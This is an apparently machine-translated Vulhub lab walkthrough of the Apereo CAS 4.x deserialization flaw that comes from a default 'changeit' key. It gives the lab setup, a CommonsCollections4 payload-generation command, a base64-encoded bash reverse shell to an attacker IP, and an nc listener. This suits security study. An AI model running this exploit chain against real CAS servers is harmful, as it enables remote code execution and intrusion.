（6） Vulhub column: apereo CAS 4.x deserialization vulnerability

Apereo-cas 4.x Deserialization vulnerability

scope

Apereo-cas 4.1.7 Before

Causes of loopholes

Webflow Default key used in changeit, The code is as follows ：

public class EncryptedTranscoder implements Transcoder {
    
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
    
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

Exploit

Environmental preparation

First enter the following command to enter vulhub Launch range in , Then visit in the attacker http://192.168.75.146:8080/cas/login that will do

cd vulhub-master/apereo-cas/4.1-rce
docker-compose up -d

Loophole recurrence

Get ready to generate first payload Tools for ：apereo-cas-attack-1.0-SNAPSHOT-all.jar

Tools to address ：https://github.com/vulhub/Apereo-CAS-Attack/releases

Then get ready to bounce shell The order of , It needs to be base64 encryption

// rebound shell command , Note replace with your own 
bash -i >& /dev/tcp/192.168.75.162/6666 0>&1
//base64 encryption 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=

java  -jar  apereo-cas-attack-1.0-SNAPSHOT-all.jar  CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

After executing the above command, a string of payload, Next, open a new one cmd The window executes the following commands ：

nc -lvvp 6666

After monitoring starts, we enter the account and password in the browser to capture packets , Send to replay , Replace execution And send , You can see the following figure , rebound shell success , This vulnerability was successfully exploited